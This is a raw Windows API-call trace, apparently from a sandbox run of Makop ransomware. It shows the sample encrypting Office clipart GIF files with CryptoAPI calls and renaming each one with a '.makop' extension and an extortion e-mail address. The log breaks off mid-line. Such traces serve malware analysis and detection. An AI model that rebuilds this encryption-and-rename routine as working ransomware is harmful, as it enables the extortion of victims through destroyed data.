wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01747_.GIF") returned 63 [0155.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01747_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01747_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0155.307] GetProcessHeap () returned 0x48a0000 [0155.307] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0155.308] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0155.308] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0155.308] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x9, lpOverlapped=0x0) returned 1 [0155.312] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.312] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.312] GetProcessHeap () returned 0x48a0000 [0155.312] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0155.312] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0155.312] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.312] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0155.312] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0155.313] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0155.313] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0155.313] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0155.313] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0155.313] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.313] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.313] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.313] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x387, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x387, lpOverlapped=0x0) returned 1 [0155.314] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x390, dwBufLen=0x390 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x390) returned 1 [0155.314] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.314] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x390, lpOverlapped=0x0) returned 1 [0155.314] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.314] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.314] SetEndOfFile (hFile=0xf0) returned 1 [0155.321] GetProcessHeap () returned 0x48a0000 [0155.321] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0155.321] GetProcessHeap () returned 0x48a0000 [0155.321] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0155.321] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01747_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0155.321] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01747_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01747_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01747_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01747_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0155.322] CloseHandle (hObject=0xf0) returned 1 [0155.322] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d9c6a00, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d9c6a00, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01748_.GIF", cAlternateFileName="")) returned 1 [0155.323] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01748_.GIF") returned 63 [0155.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01748_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01748_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0155.325] GetProcessHeap () returned 0x48a0000 [0155.325] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0155.325] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0155.325] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0155.326] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x9, lpOverlapped=0x0) returned 1 [0155.329] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.329] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.330] GetProcessHeap () returned 0x48a0000 [0155.330] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0155.330] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0155.330] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.330] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0155.330] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0155.330] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0155.330] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0155.330] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0155.331] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0155.331] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.331] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.331] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.331] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2d7, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2d7, lpOverlapped=0x0) returned 1 [0155.331] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2e0) returned 1 [0155.331] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.331] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2e0, lpOverlapped=0x0) returned 1 [0155.332] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.332] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.332] SetEndOfFile (hFile=0xf0) returned 1 [0155.338] GetProcessHeap () returned 0x48a0000 [0155.338] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0155.339] GetProcessHeap () returned 0x48a0000 [0155.339] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0155.339] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01748_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0155.339] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01748_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01748_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01748_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01748_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0155.341] CloseHandle (hObject=0xf0) returned 1 [0155.341] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d7b600, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x28d7b600, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x3b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01749_.GIF", cAlternateFileName="")) returned 1 [0155.341] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01749_.GIF") returned 63 [0155.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01749_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01749_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0155.343] GetProcessHeap () returned 0x48a0000 [0155.343] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0155.343] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0155.343] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0155.343] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0155.348] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.348] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.348] GetProcessHeap () returned 0x48a0000 [0155.348] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0155.348] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0155.348] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.349] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0155.349] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0155.349] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0155.349] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0155.349] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0155.350] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0155.350] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.350] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.350] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.350] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3b4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3b4, lpOverlapped=0x0) returned 1 [0155.351] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3c0, dwBufLen=0x3c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3c0) returned 1 [0155.351] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.351] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3c0, lpOverlapped=0x0) returned 1 [0155.351] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.351] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.351] SetEndOfFile (hFile=0xf0) returned 1 [0155.360] GetProcessHeap () returned 0x48a0000 [0155.360] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0155.360] GetProcessHeap () returned 0x48a0000 [0155.360] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0155.361] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01749_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0155.361] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01749_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01749_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01749_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01749_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0155.363] CloseHandle (hObject=0xf0) returned 1 [0155.363] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x207f7b00, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x207f7b00, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01750_.GIF", cAlternateFileName="")) returned 1 [0155.363] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01750_.GIF") returned 63 [0155.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01750_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01750_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0155.365] GetProcessHeap () returned 0x48a0000 [0155.365] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0155.365] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0155.365] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0155.365] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0155.378] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.378] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.378] GetProcessHeap () returned 0x48a0000 [0155.379] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0155.379] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0155.379] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.379] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0155.379] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0155.379] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0155.380] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0155.380] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0155.380] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0155.380] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.380] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.380] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.381] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x494, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x494, lpOverlapped=0x0) returned 1 [0155.381] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4a0, dwBufLen=0x4a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4a0) returned 1 [0155.381] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.381] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4a0, lpOverlapped=0x0) returned 1 [0155.381] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.381] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x574, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.382] SetEndOfFile (hFile=0xf0) returned 1 [0155.390] GetProcessHeap () returned 0x48a0000 [0155.390] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0155.390] GetProcessHeap () returned 0x48a0000 [0155.390] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0155.390] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01750_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0155.390] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01750_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01750_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01750_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft 